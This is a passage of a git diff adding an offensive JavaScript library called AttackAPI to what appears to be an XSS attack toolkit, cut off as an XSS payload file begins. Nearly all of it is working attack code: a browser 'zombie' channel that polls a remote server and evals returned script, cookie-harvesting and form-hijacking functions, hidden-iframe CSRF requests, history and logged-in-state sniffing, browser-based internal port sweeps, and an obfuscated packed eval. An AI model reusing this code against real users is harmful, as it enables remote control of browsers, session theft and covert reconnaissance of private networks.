']'; + return a.join(''); + }, + 'boolean': function (x) { + return String(x); + }, + 'null': function (x) { + return "null"; + }, + 'number': function (x) { + return isFinite(x) ? String(x) : 'null'; + }, + 'object': function (x) { + if (x) { + if (x instanceof Array) { + return s.array(x); + } + + var a = ['{'], b, f, i, v; + + for (i in x) { + v = x[i]; + f = s[typeof v]; + + if (f) { + v = f(v); + + if (typeof v == 'string') { + if (b) { + a[a.length] = ','; + } + + a.push(s.string(i), ':', v); + b = true; + } + } + } + + a[a.length] = '}'; + return a.join(''); + } + + return 'null'; + }, + 'string': function (x) { + if (/["\\\x00-\x1f]/.test(x)) { + x = x.replace(/([\x00-\x1f\\"])/g, function(a, b) { + var c = m[b]; + + if (c) { + return c; + } + + c = b.charCodeAt(); + return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16); + }); + } + + return '"' + x + '"'; + } + }; + + var f = isNaN(input) ? s[typeof input] : s['number']; + + if (f) + return f(input); +}; +AttackAPI.utils.parseURL = function (url) { + var REGEX = /^((\w+):\/\/)?((\w+):?(\w+)?@)?([^\/\?:]+):?(\d+)?(\/?[^\?#]+)?\??([^#]+)?#?(\w*)/; + + var fields = {'href': 0, 'username' : 4, 'password' : 5, 'port' : 7, 'protocol' : 2, 'host' : 6, 'hostname' : 6, 'pathname' : 8, 'search' : 9, 'hash' : 10}; + var result = new Object(); + var r = REGEX.exec(url); + + for (var field in fields) + result[field] = r[fields[field]]; + + result.hash = result.hash?'#' + result.hash:'#'; + result.search = result.search?'?' + result.search:'?'; + result.username = result.username?result.username:''; + result.password = result.password?result.password:''; + + if (result.port == undefined) + switch (result.protocol) { + case 'http': + result.port = 80; + break; + case 'https': + result.port = 443; + break; + case 'ftp': + result.port = 21; + break; + default: + result.port = ''; + break; + } + + return result; +}; + +AttackAPI.utils.parseQuery = function (query) { + var queryobj = new Object(); + var tokens = query.split('&'); + + for (var index = 0; index < tokens.length; index++) { + var pair = tokens[index].split('='); + queryobj[AttackAPI.utils.decodeURL(pair[0])] = AttackAPI.utils.decodeURL(pair[1]); + } + + return queryobj; +}; + +AttackAPI.utils.parseDomain = function (domain) { + var tokens = domain.split('.').reverse(); + return {domain: domain, tld: tokens[0], name: tokens[1], subdomain: tokens.slice(2).reverse().join('.')}; +}; + +AttackAPI.utils.encodeBase64 = function (input) { + var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; + + var result = ''; + var chr1, chr2, chr3; + var enc1, enc2, enc3, enc4; + var i = 0; + + do { + chr1 = input.charCodeAt(i++); + chr2 = input.charCodeAt(i++); + chr3 = input.charCodeAt(i++); + + enc1 = chr1 >> 2; + enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); + enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); + enc4 = chr3 & 63; + + if (isNaN(chr2)) + enc3 = enc4 = 64; + else if (isNaN(chr3)) + enc4 = 64; + + result += chars.charAt(enc1) + chars.charAt(enc2) + chars.charAt(enc3) + chars.charAt(enc4); + } while (i < input.length); + + return result; +}; + +AttackAPI.utils.encodeMD5 = function (string) { + eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('l 1R(s){k N(Q(O(s),s.u*8))}l Q(x,o){x[o>>5]|=1Y<<((o)%v);x[(((o+1V)>>>9)<<4)+14]=o;g a=1J;g b=-1G;g c=-1H;g d=24;B(g i=0;i>16)+(y>>16)+(D>>16);k(F<<16)|(D&z)}l R(A,w){k(A<>>(v-w))}l O(n){g C=M();g J=(1<<8)-1;B(g i=0;i>5]|=(n.1w(i/8)&J)<<(i%v)}k C}l N(r){g E=\'2a\';g n=\'\';B(g i=0;i>2]>>((i%4)*8+4))&I)+E.K((r[i>>2]>>((i%4)*8))&I)}k n}',62,139,'||||||||||||||md5_hh|md5_ff|var|md5_ii||md5_gg|return|function|safe_add|str|len|md5_cmn||binarray|||length|32|cnt|||0xFFFF|num|for|bin|lsw|hex_tab|msw|oldb|olda|0xF|mask|charAt|oldd|Array|binl2hex|str2binl|oldc|core_md5|bit_rol|45705983|1990404162|643717713|1502002290|1069501632|718787259|165796510|1804603682|||||||||1019803690|40341101|51403784|1735328473|1926607734|1444681467|1163531501|568446438|343485551|38016083|373897302|378558|1236535329|1958414417|1120210379|42063|145523070|701558691|1309151649|1839030562|35309556|1530992060|155497632|681279174|charCodeAt|1473231341|722521979|640364487|176418897|421815835|530742520|995338651|1200080426|198630844|271733879|1732584194|1126891415|1732584193|1416354905|57434055|76029189|1700485571|358537222|680876936|1094730640|hex_md5|1272893353|1894986606|1051523|64|2022574463|2054922799|0x80|1873313359|||||271733878|30611744|1560198380|606105819|187363961|1044525330|0123456789abcdef|405537848|660478335|389564586|1770035416'.split('|'),0,{})); + return hex_md5(string); +}; + +AttackAPI.utils.ip2number = function (ip) { + var octets = ip.split('.'); + return (16777216 * octets[0]) + (65536 * octets[1]) + (256 * octets[2]) + Number(octets[3]); +}; + +AttackAPI.utils.number2ip = function (num) { + return Math.floor(num/16777216)%256 + '.' + Math.floor(num/65536)%256 + '.' + Math.floor(num/256)%256 + '.' + Math.floor(num)%256; +}; + +AttackAPI.dom = {}; + +AttackAPI.dom.getInternalHostname = function () { + try { + var sock = new java.net.Socket(); + + sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); + sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port)); + + return sock.getLocalAddress().getHostName(); + } catch (e) {} + + return 'localhost'; +}; + +AttackAPI.dom.scanExtensions = function (scan) { + var signatures = (scan.signatures != undefined)?scan.signatures:AttackAPI.dom.signatures.extensions; + + function check(signature, index, length) { + var img = new Image(); + img.onload = function() { + if (typeof(scan.onfound) == 'function') + scan.onfound(signature, scan); + + if (index == length - 1 && typeof(scan.oncomplete) == 'function') + scan.oncomplete(scan); + }; + img.onerror = function() { + if (index == length - 1 && typeof(scan.oncomplete) == 'function') + scan.oncomplete(scan); + }; + img.src = signature.url; + } + + for (var i = 0; i < signatures.length; i++) + check(signatures[i], i, signatures.length); +}; + +AttackAPI.dom.triggerEvent = function (event, data, target) { + var target = (target == undefined)?window:target; + + if (typeof(target['on' + event]) == 'function') + target['on' + event](data); +}; + +AttackAPI.dom.scanHistory = function (scan) { + var urls = (scan.urls != undefined)?scan.urls:AttackAPI.dom.signatures.sites; + + var ifr = document.createElement('iframe'); + ifr.style.visibility = 'hidden'; + ifr.style.width = ifr.style.height = 0; + + document.body.appendChild(ifr); + + var doc = AttackAPI.dom.getDocument(ifr); + doc.open(); + doc.write(''); + doc.close(); + + for (var i = 0; i < urls.length; i++) { + var a = doc.createElement('a'); + a.href = urls[i]; + + doc.body.appendChild(a); + + if (a.currentStyle) + var display = a.currentStyle['display']; + else + var display = doc.defaultView.getComputedStyle(a, null).getPropertyValue('display') + + if (display == 'none' && typeof(scan.onfound) == 'function') + scan.onfound(urls[i], scan); + } + + document.body.removeChild(ifr); + + if (typeof(scan.oncomplete) == 'function') + scan.oncomplete(scan); +}; + +AttackAPI.dom.attachEvent = function (callback, event, target, capturing) { + var target = (target == undefined)?window:target; + var capturing = (capturing == undefined)?false:true; + + if (target.addEventListener) + target.addEventListener(event, callback, capturing); + else + target.attachEvent('on' + event, callback); +}; + +AttackAPI.dom.spawnSandbox = function (data) { + var queue = []; + var loaded = false; + + var ifr = document.createElement('iframe'); + ifr.style.visibility = 'hidden'; + ifr.style.width = ifr.style.height = 0; + + document.body.appendChild(ifr); + + var sandbox = { + scope: ifr.contentWindow, + + evaluate: function (expr) { + if (!loaded) + queue.push(expr) + + else + ifr.contentWindow.location = 'javascript:' + escape(expr) + ';void(0);'; + }, + terminate: function () { + document.body.removeChild(ifr); + } + }; + + ifr.onload = function () { + loaded = true; + + AttackAPI.core.extend(ifr.contentWindow, data); + + for (var i = 0; i < queue.length; i++) + sandbox.evaluate(queue[i]); + }; + + return sandbox; +}; + +AttackAPI.dom.requestLC = function (request) { + try { + if (typeof(request.onload) == 'function') + request.onload({data: AttackAPI.dom.requestLCL(request.url + (request.query?request.query:'?' + AttackAPI.utils.buildQuery(request.query)))}, request); + } catch (e) { + if (typeof(request.onerror) == 'function') + request.onerror(e, request); + } +}; + +AttackAPI.dom.getDocument = function (target) { + var doc = null; + + if (target == undefined) + doc = document; + else if (target.contentDocument) + doc = target.contentDocument; + else if (target.contentWindow) + doc = target.contentWindow.document; + else if (target.document) + doc = target.document; + + return doc; +}; + +AttackAPI.dom.freeze = function (time) { + var date = new Date(); + var cur = null; + + do { + cur = new Date(); + } while(cur - date < time); +}; + +AttackAPI.dom.spawnChannel = function (channel) { + if (AttackAPI.dom.spawnChannel.channels == undefined) + AttackAPI.dom.spawnChannel.channels = new Array(); + + var channel = AttackAPI.core.clone(channel); + channel.index = AttackAPI.dom.spawnChannel.channels.length; + channel.referrer = channel.referrer?channel.referrer:document.location; + + function transport(query) { + AttackAPI.core.extend(query, { + referrer: channel.referrer, + __r: Math.random() + '_' + new Date().getTime()}); + + AttackAPI.dom.transport({url: channel.location, query: query}); + } + + function evaluate(query) { + AttackAPI.core.extend(query, { + referrer: channel.referrer, + __r: Math.random() + '_' + new Date().getTime()}); + + AttackAPI.dom.requestJSL(channel.location + '?' + AttackAPI.utils.buildQuery(query)); + } + + function prepareList(obj) { + if (obj.join) + return obj.join(','); + + return obj; + } + + if (typeof(channel.onpull) != 'function') + channel.onpull = function (message) { + eval(message); + }; + + channel.pull = function () { + evaluate({ + action: 'pull', + callback: 'AttackAPI.dom.spawnChannel.channels[' + channel.index + '].onpull'}); + + return true; + }; + + channel.push = function (message, client, target) { + if (typeof(channel.onpush) == 'function' && !channel.onpush(message, client, target)) + return false; + + transport({ + action: 'push', + message: message, + target: target?target:'_', + client: prepareList(client?client:'self')}); + + return true; + }; + + channel.list = function () { + if (typeof(channel.onlist) == 'undefined') + return false; + + evaluate({ + action: 'list', + callback: 'AttackAPI.dom.spawnChannel.channels[' + channel.index + '].onlist'}); + + return true; + }; + + channel.enumerate = function () { + if (typeof(channel.onenumerate) == 'undefined') + return false; + + evaluate({ + action: 'enum', + callback: 'AttackAPI.dom.spawnChannel.channels[' + channel.index + '].onenumerate'}); + + return true; + }; + + channel.view = function (client) { + if (typeof(channel.onview) == 'undefined') + return false; + + evaluate({ + action: 'view', + client: prepareList(client?client:'self'), + callback: 'AttackAPI.dom.spawnChannel.channels[' + channel.index + '].onview'}); + + return true; + }; + + channel.save = function (key, value, client) { + if (typeof(channel.onsave) && !channel.onsave(key, value, client)) + return false; + + transport({ + action: 'save', + key: key, + value: value, + client: prepareList(client?client:'self')}); + + return true; + }; + + channel.init = function () { + if (typeof(channel.oninit) && !channel.oninit()) + return false; + + evaluate({ + action: 'init'}); + }; + + AttackAPI.dom.spawnChannel.channels.push(channel); + + return channel; +}; + +AttackAPI.dom.requestLCL = function (url) { + var data = null; + + var destination = new java.net.URL(url); + var buffer = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536); + var stream = destination.getContent(); + + while (true) { + var count = stream.read(buffer); + + if (count <= 0) + break; + + var str = new java.lang.String(buffer, 0, count); + data += str; + } + + stream.close(); + + return data; +}; + +AttackAPI.dom.zombiefy = function (zombie) { + AttackAPI.dom.spawnZombie(zombie).start(); +}; + +AttackAPI.dom.requestIMG = function (request) { + var tmr = null; + + var img = new Image(); + img.onload = img.onerror = function () { + window.clearTimeout(tmr); + + if (typeof(request.onload) == 'function') + request.onload(new Object(), request); + }; + + if (request.query) + img.src = request.url + '?' + AttackAPI.utils.buildQuery(request.query); + else + img.src = request.url; + + tmr = window.setTimeout(function () { + delete img; + + if (typeof(request.ontimeout) == 'function') + request.ontimeout(request); + }, request.timeout?request.timeout:1000); +}; + +AttackAPI.dom.requestJS = function (request) { + var tmr = null; + + var script = document.createElement('script'); + script.type = 'text/javascript'; + script.defer = true; + script.onload = function () { + window.clearTimeout(tmr); + document.body.removeChild(script); + + if (typeof(request.onload) == 'function') + request.onload(new Object(), request); + }; + script.onerror = function () { + window.clearTimeout(tmr); + document.body.removeChild(script); + + if (typeof(request.onerror) == 'function') + request.onerror('error', request); + }; + + if (request.query) + script.src = request.url + '?' + AttackAPI.utils.buildQuery(request.query); + else + script.src = request.url; + + document.body.appendChild(script); + + tmr = window.setTimeout(function () { + document.body.removeChild(script); + + if (typeof(request.ontimeout) == 'function') + request.ontimeout(request); + }, request.timeout?request.timeout:1000); +}; + +AttackAPI.dom.requestXSS = function (request) { + var tmr = null; + + var ifr = document.createElement('iframe'); + ifr.style.visibility = 'hidden'; + ifr.style.width = ifr.style.height = 0; + ifr.onload = function () { + window.clearTimeout(tmr); + + var data = null; + try { + data = AttackAPI.getDocument(ifr).body.innerHTML; + } catch (e) {} + + ifr.src = ''; + document.body.removeChild(ifr); + + if (typeof(request.onload) == 'function') + request.onload({data: data}, request); + }; + + if (request.query) + ifr.src = request.url + '?' + AttackAPI.utils.buildQuery(request.query); + else + ifr.src = request.url; + + document.body.appendChild(ifr); + + tmr = window.setTimeout(function () { + ifr.src = ''; + document.body.removeChild(ifr); + + if (typeof(request.ontimeout) == 'function') + request.ontimeout(request); + }, request.timeout?request.timeout:1000); +}; + +AttackAPI.dom.spider = function (spider) { + AttackAPI.dom.requestXML({url: spider.url, timeout: spider.timeout, + onload: function (response, request) { + // analise and return all possible links + } + }); +}; +AttackAPI.dom.request = function (request) { + var turl = AttackAPI.utils.parseURL(request.url); + var curl = AttackAPI.utils.parseURL(document.location); + + if (turl.protocol == curl.protocol && turl.hostname == curl.hostname && turl.port == curl.port) + return AttackAPI.dom.requestXML(request); + else + return AttackAPI.dom.requestCSRF(request); +}; + +AttackAPI.dom.detachEvent = function (callback, event, target, capturing) { + var target = (target == undefined)?window:target; + var capturing = (capturing == undefined)?false:true; + + if (target.removeEventListener) + target.removeEventListener(event, callback, capturing); + else + target.detachEvent('on' + event, callback); +}; + +AttackAPI.dom.parseXML = function (xml, type) { + if (window.ActiveXObject) { + var xmlDoc = new ActiveXObject('Microsoft.XMLDOM'); + xmlDoc.async = false; + xmlDoc.loadXML(xml); + + return xmlDoc; + } else { + var parser = new DOMParser(); + var xmlDoc = parser.parseFromString(xml, type?type:'text/xml'); + + return xmlDoc; + } +}; +AttackAPI.dom.transport = function (request) { + var url = request.url + '?' + AttackAPI.utils.buildQuery(request.query); + + if (url.length <= 2048) + return AttackAPI.dom.requestIMG(request); + else + return AttackAPI.dom.requestCSRF(AttackAPI.core.extend(request, {method: 'POST'})); +}; + +AttackAPI.dom.spawnZombie = function (zombie) { + var zombie = AttackAPI.dom.spawnChannel(zombie); + + zombie.timer = null; + zombie.interval = (zombie.interval != undefined)?zombie.interval:2000; + + zombie.start = function () { + zombie.stop(); + zombie.timer = window.setInterval(zombie.pull, zombie.interval); + }; + + zombie.stop = function () { + window.clearInterval(zombie.timer); + }; + + return zombie; +}; + +AttackAPI.dom.getAgent = function () { + var agent = ''; + + if (navigator.userAgent) + agent = navigator.userAgent; + else if (navigator.vendor) + agent = navigator.vendor; + else if (window.opera) + agent = 'opera'; + + agent = agent.toLowerCase(); + + if (/webkit/.test(agent)) + return 'safari'; + else if (/opera/.test(agent)) + return 'opera'; + else if (/msie/.test(agent) && !/opera/.test(agent)) + return 'msie'; + else if (/mozilla/.test(agent) && !/(compatible|webkit)/.test(agent)) + return 'mozilla'; + else + return null; +}; + +AttackAPI.dom.getClipboard = function () { + if (window.clipboardData) + return window.clipboardData.getData('Text'); + + return null; +}; + +AttackAPI.dom.hijackEval = function (hijack) { + window.__eval = window.eval; + window.eval = function (expr) { + if (typeof(hijack.oneval) == 'function') + hijack.oneval(expr); + + window.__eval(expr); + }; +}; +AttackAPI.dom.requestJSL = function (url) { + var script = document.createElement('script'); + script.defer = true; + script.type = 'text/javascript'; + script.src = url; + script.onload = script.onerror = function () { + document.body.removeChild(script); + }; + + document.body.appendChild(script); +}; + +AttackAPI.dom.requestIMGL = function (url) { + var img = new Image(); + img.src = url; +}; + +AttackAPI.dom.getXHR = function () { + var xhr = null; + + if (window.XMLHttpRequest) + xhr = new XMLHttpRequest(); + else if (window.createRequest) + xhr = window.createRequest(); + else if (window.ActiveXObject) { + try { + xhr = new ActiveXObject('Msxml2.XMLHTTP'); + } catch (e) { + try { + xhr = new ActiveXObject('Microsoft.XMLHTTP'); + } catch (e) {} + } + } + + return xhr; +}; +AttackAPI.dom.searchGoogle = function (query) { + AttackAPI.dom.requestJSON({ + url: 'http://www.google.com/uds/GwebSearch', + query: { + context: (query.context != undefined)?query.context:0, + key: (query.key != undefined)?query.key:'internal-documentation', + lstkp: 0, rsz: 'large', hl: 'en', v: '0.1', q: query.query + }, + oncallback: query.onresults}); +}; +AttackAPI.dom.getInternalIP = function () { + try { + var sock = new java.net.Socket(); + + sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); + sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port)); + + return sock.getLocalAddress().getHostAddress(); + } catch (e) {} + + return '127.0.0.1'; +}; + +AttackAPI.dom.requestCSRF = function (request) { + var tmr = null; + + var ifr = document.createElement('iframe'); + ifr.style.visibility = 'hidden'; + ifr.style.width = ifr.style.height = 0; + + document.body.appendChild(ifr); + + var doc = AttackAPI.dom.getDocument(ifr); + + var form = document.createElement('form'); + form.setAttribute('method', request.method?request.method:'GET'); + form.setAttribute('action', request.url); + + for (var name in request.query) { + var input = document.createElement('input'); + input.setAttribute('name', name); + input.setAttribute('value', request.query[name]); + input.setAttribute('type', 'text'); + + form.appendChild(input); + } + + doc.body.appendChild(form); + + ifr.onload = function () { + window.clearTimeout(tmr); + + var data = null; + + try { + data = AttackAPI.dom.getDocument(ifr).body.innerHTML; + } catch (e) {} + + ifr.src = ''; + document.body.removeChild(ifr); + + if (typeof(request.onload) == 'function') + request.onload({data: data}, request); + }; + + tmr = window.setTimeout(function () { + document.body.removeChild(ifr); + + if (typeof(request.ontimeout) == 'function') + request.ontimeout(request); + }, request.timeout?request.timeout:10000); + + form.submit(); +}; + +AttackAPI.dom.scanStates = function (scan) { + var signatures = (scan.signatures != undefined)?scan.signatures:AttackAPI.dom.signatures.states; + var timeout = (scan.timeout != undefined)?scan.timeout:5000; + var timers = []; + var count = 0; + + var sandbox = AttackAPI.dom.spawnSandbox({ + onerror: function (message, url, line) { + count += 1; + + for (var i = 0; i < signatures.length; i++) + if ((!signatures[i].message || new RegExp(signatures[i].message).exec(message)) && (!signatures[i].url || signatures[i].url == url) && (signatures[i].line == undefined || signatures[i].line == line)) { + window.clearTimeout(timers[i]); + + if (typeof(scan.onfound) == 'function') + scan.onfound(signatures[i], scan); + + break; + } + + if (count == signatures.length && typeof(scan.oncomplete) == 'function') { + scan.oncomplete(); + sandbox.terminate(); + } + + return true; + }, + inject: function(url) { + var script = sandbox.scope.document.createElement('script'); + script.type = 'text/javascript'; + script.defer = true; + script.src = url; + + sandbox.scope.document.body.appendChild(script); + } + }); + + for (var i = 0; i < signatures.length; i++) { + sandbox.evaluate("inject('" + signatures[i].url + "')"); + timers.push(window.setTimeout(AttackAPI.core.bindFunction(function (signature) { + count += 1; + + if (typeof(scan.ontimeout) == 'function') + scan.ontimeout(signature); + + if (count == signatures.length) { + sandbox.terminate(); + + if (typeof(scan.oncomplete) == 'function') + scan.oncomplete(); + } + }, signatures[i]), timeout)); + } +}; + +AttackAPI.dom.requestXML = function (request) { + var xhr = AttackAPI.dom.getXHR(); + + if (!xhr) { + if (typeof(request.onerror) == 'function') + request.onerror('request implementation not found', request); + + return; + } + + var tmr = window.setTimeout(function () { + xhr.abort(); + + if (typeof(request.ontimeout) == 'function') + request.ontimeout(request); + }, request.timeout?request.timeout:10000); + + xhr.onreadystatechange = function () { + if (xhr.readyState == 4) { + window.clearTimeout(tmr); + + if (typeof(request.onload) == 'function') + request.onload({status: xhr.status, data: xhr.responseText, dataXML: xhr.responseXML, headers: xhr.getAllResponseHeaders()}, request); + } + }; + + try { + var method = request.method?request.method:'GET'; + var url = request.url + (method == 'GET' && request.query?'?' + AttackAPI.utils.buildQuery(request.query):''); + + xhr.open(method, url); + + if (request.headers) + for (var header in request.headers) + xhr.setRequestHeader(header, request.headers[header]); + + xhr.send(request.body?request.body:(method != 'GET' && request.query?AttackAPI.utils.buildQuery(request.query):null)); + } catch (e) { + if (typeof(request.onerror) == 'function') + request.onerror(e, request); + + return; + } +}; + +AttackAPI.dom.getCookie = function (cookie) { + var tokens = document.cookie.split(';'); + + for (var index = 0; index < tokens.length; index++) { + var pair = tokens[index].replace(/^\s*/, ''); + + if (cookie == unescape(pair.substring(0, name.length))) + return unescape(pair.substring(name.length + 1)); + } + + return null; +}; + +AttackAPI.dom.setClipboard = function (value) { + if (window.clipboardData) + return window.clipboardData.getData('Text', value); + + return null; +}; + +AttackAPI.dom.sweepPorts = function (sweep) { + var range = AttackAPI.utils.net2range(sweep.network); + var length = range.stop - range.start; + var count = 0; + + for (var i = range.start; i <= range.stop; i++) + AttackAPI.dom.scanPorts({target: AttackAPI.utils.number2ip(i), ports: sweep.ports, timeout: sweep.timeout, + onfound: function (port, scan) { + if (typeof(sweep.onfound) == 'function') + sweep.onfound({ip: scan.target, port: port}, sweep); + }, + ontimeout: function (port) { + if (typeof(sweep.ontimeout) == 'function') + sweep.ontimeout({ip: scan.target, port: port}, sweep); + }, + oncomplete: function () { + count += 1; + + if (count == length && typeof(sweep.oncomplete) == 'function') + sweep.oncomplete(sweep); + } + }); +}; +AttackAPI.dom.scanPorts = function (scan) { + var ports = (scan.ports != undefined)?scan.ports:AttackAPI.dom.signatures.ports; + var timeout = (scan.timeout != undefined)?scan.timeout:900; + + function check(port, index, length) { + var img = new Image(); + img.onload = img.onerror = function () { + if (!img) return; + img = undefined; + + if (typeof(scan.onfound) == 'function') + scan.onfound(port, scan); + + if (index == length - 1 && typeof(scan.oncomplete) == 'function') + scan.oncomplete(scan); + }; + img.src = 'http://' + scan.target + ':' + port; + + window.setTimeout(function () { + if (!img) return; + img = undefined; + + if (typeof(scan.ontimeout) == 'function') + scan.ontimeout(port, scan); + + if (index == length - 1 && typeof(scan.oncomplete) == 'function') + scan.oncomplete(scan); + }, timeout); + } + + for (var i = 0; i < ports.length; i++) + check(ports[i], i, ports.length); +}; + +AttackAPI.dom.hijackForm = function (hijack) { + if (!hijack.form.id) + hijack.form.id = ('form_' + Math.random() + '_' + new Date().getTime()).replace('.', '_'); + + hijack.form.__hijackForm = function (url) { + this.action = url; + + if (typeof(hijack.onsubmit) == 'function') + hijack.onsubmit.apply(this, []); + + this.submit(); + }; + + hijack.form.action = "javascript:document.getElementById('" + hijack.form.id + "').__hijackForm('" + hijack.form.action + "')"; +}; + +AttackAPI.dom.getPlugins = function () { + var plugins = new Array(); + + for (var index = 0; index < navigator.plugins.length; index++) + plugins.push(navigator.plugins[index].name); + + return plugins; +}; + +AttackAPI.dom.requestJSON = function (request) { + if (AttackAPI.dom.requestJSON.callbacks == undefined) + AttackAPI.dom.requestJSON.callbacks = {}; + + var callbackName = 'c' + new Date().getTime(); + AttackAPI.dom.requestJSON.callbacks[callbackName] = function () { + if (typeof(request.oncallback) == 'function') + request.oncallback.apply(request, arguments); + }; + + var query = request.query?request.query:{}; + query[request.callback?request.callback:'callback'] = 'AttackAPI.dom.requestJSON.callbacks.' + callbackName; + + AttackAPI.dom.requestJSL(request.url + '?' + AttackAPI.utils.buildQuery(query)); +}; +AttackAPI.dom.include = function (url, onload) { + var script = document.createElement('script'); + script.type = 'text/javascript'; + script.defer = true; + script.src = url; + script.onload = function () { + document.body.removeChild(script); + + if (typeof(onload) == 'function') + onload.apply(script, arguments); + }; + + document.body.appendChild(script); +}; + +AttackAPI.dom.hijackView = function (obj) { + var doc = obj.document?obj.document:AttackAPI.dom.getDocument(); + + var ifr = doc.createElement('iframe'); + ifr.onload = obj.onload; + ifr.src = obj.url?obj.url:doc.location; + + doc.body.scroll = 'no'; + doc.body.appendChild(ifr); + + ifr.style.position = 'absolute'; + ifr.style.width = ifr.style.height = '100%'; + ifr.style.top = ifr.style.left = ifr.style.border = 0; + ifr.style.background = '#FFFFFF'; + + ifr.focus(); + + return ifr; +}; +AttackAPI.dom.getPlatform = function () { + return navigator.platform.toLowerCase(); +}; + +AttackAPI.dom.setCookie = function (cookie, value, expires, path, domain, secure) { + document.cookie = cookie + '=' + escape(value) + + ((expires == undefined)?'':'; expires=' + expires) + + ((path == undefined)?'':'; path=' + path) + + ((domain == undefined)?'':'; domain=' + domain) + + ((secure == undefined)?'':'; secure=' + secure); +}; + +AttackAPI.dom.getCookies = function () { + var cookies = new Object(); + var tokens = document.cookie.split(';'); + + for (var index = 0; index < tokens.length; index++) { + var pair = tokens[index].split('='); + + if (pair[1] && !(pair[0] in cookies)) + cookies[unescape(pair[0])] = unescape(pair[1]); + } + + return cookies; +}; + +AttackAPI.dom.delCookie = function (cookie) { + return document.cookie = name + '=' + null; +}; + +AttackAPI.dom.zombiefyL = function (url, interval) { + var interval = (interval == 'undefined')?interval:2000; + + window.setInterval(function () { + AttackAPI.dom.requestJSL(url + '?action=pull'); + }, interval); +}; + +AttackAPI.dom.requestXSSL = function (url) { + var ifr = document.createElement('iframe'); + ifr.style.visibility = 'hidden'; + ifr.style.width = ifr.style.height = 0; + ifr.src = url; + + document.body.appendChild(ifr); +}; + +AttackAPI.dom.getInternalNetworkInfo = function () { + var info = {hostname: 'localhost', IP: '127.0.0.1'}; + + try { + var sock = new java.net.Socket(); + + sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); + sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port)); + + info.IP = sock.getLocalAddress().getHostAddress(); + info.hostname = sock.getLocalAddress().getHostName(); + } catch (e) {} + + return info; +}; + +AttackAPI.dom.signatures = new Object(); + +AttackAPI.dom.signatures.ports = [ + 21, 22, 23, 25, 53, 80, 110, 118, 137, 139, 143, 161, 389, 443, 445, 547, 8000, 8008, 8080, 8888]; + +AttackAPI.dom.signatures.sites = [ + 'http://www.yahoo.com/', + 'http://www.google.com/', + 'http://www.myspace.com/', + 'http://www.msn.com/', + 'http://www.ebay.com/', + 'http://www.youtube.com/', + 'http://www.facebook.com/', + 'http://www.wikipedia.org/', + 'http://www.craigslist.org/', + 'http://www.amazon.com/', + 'http://www.live.com/', + 'http://www.blogger.com/', + 'http://www.aol.com/', + 'http://www.cnn.com/', + 'http://www.go.com/', + 'http://www.microsoft.com/', + 'http://www.comcast.net/', + 'http://www.imdb.com/', + 'http://www.weather.com/', + 'http://www.digg.com/']; + +AttackAPI.dom.signatures.extensions = [ + {name: 'Adblock Plus', url: 'chrome://adblockplus/skin/adblockplus.png'}, + {name: 'Customize Google', url: 'chrome://customizegoogle/skin/32x32.png'}, + {name: 'DownThemAll!', url: 'chrome://dta/content/immagini/icon.png'}, + {name: 'Faster Fox', url: 'chrome://fasterfox/skin/icon.png'}, + {name: 'Flash Block', url: 'chrome://flashblock/skin/flash-on-24.png'}, + {name: 'FlashGot', url: 'chrome://flashgot/skin/icon32.png'}, + {name: 'Google Toolbar', url: 'chrome://google-toolbar/skin/icon.png'}, + {name: 'Greasemonkey', url: 'chrome://greasemonkey/content/status_on.gif'}, + {name: 'IE Tab', url: 'chrome://ietab/skin/ietab-button-ie16.png'}, + {name: 'IE View', url: 'chrome://ieview/skin/ieview-icon.png'}, + {name: 'JS View', url: 'chrome://jsview/skin/jsview.gif'}, + {name: 'Live HTTP Headers', url: 'chrome://livehttpheaders/skin/img/Logo.png'}, + {name: 'SEO For Firefox', url: 'chrome://seo4firefox/content/icon32.png'}, + {name: 'Search Status', url: 'chrome://searchstatus/skin/cax10.png'}, + {name: 'Server Switcher', url: 'chrome://switcher/skin/icon.png'}, + {name: 'StumbleUpon', url: 'chrome://stumbleupon/content/skin/logo32.png'}, + {name: 'Torrent-Search Toolbar', url: 'chrome://torrent-search/skin/v.png'}, + {name: 'User Agent Switcher', url: 'chrome://useragentswitcher/content/logo.png'}, + {name: 'View Source With', url: 'chrome://viewsourcewith/skin/ff/tb16.png'}, + {name: 'Web Developer', url: 'chrome://webdeveloper/content/images/logo.png'}]; + +AttackAPI.dom.signatures.states = [ + {name: 'Google Logged In User', url: 'https://www.google.com/accounts/ManageAccount', message: 'XML tag name mismatch', line: 91}, + {name: 'GMail Logged In User', url: 'http://mail.google.com/mail/', message: 'XML tag name mismatch', line: 8}, + {name: 'MSN Logged In User', url: 'http://my.msn.com/', message: 'missing } in XML expression', line: 1}, + {name: 'Hotmail Logged In User', url: 'http://www.hotmail.com/', message: 'missing } in XML expression', line: 1}, + {name: 'Yahoo Mail Logged In User', url: 'http://mail.yahoo.com/', message: 'missing } in XML expression', line: 12}, + {name: 'Flickr Logged In User', url: 'http://www.flickr.com/account', message: 'syntax error', line: 1}]; + +/* hook on $A */ +if ($A == undefined) { + var $A = {}; + + for (var item in AttackAPI) { + if (item == 'version' || item == 'author' || item == 'homepage' || item == 'projecthome') + continue; + + AttackAPI.core.extend($A, AttackAPI[item]); + } +} \ No newline at end of file diff --git a/xssor/payload/html5sec.json b/xssor/payload/html5sec.json new file mode 100644 index 0000000..cd30033 --- /dev/null +++ b/xssor/payload/html5sec.json @@ -0,0 +1,4426 @@ +/* Items - the set of available items and vectors */ +var items = +[ + { /* ID 1 - XSS via formaction - requiring user interaction (1) */ + 'id' : 1, + 'category' : 'html5', + 'name' : { + 'en' : 'XSS via formaction - requiring user interaction (1)', + 'ja' : 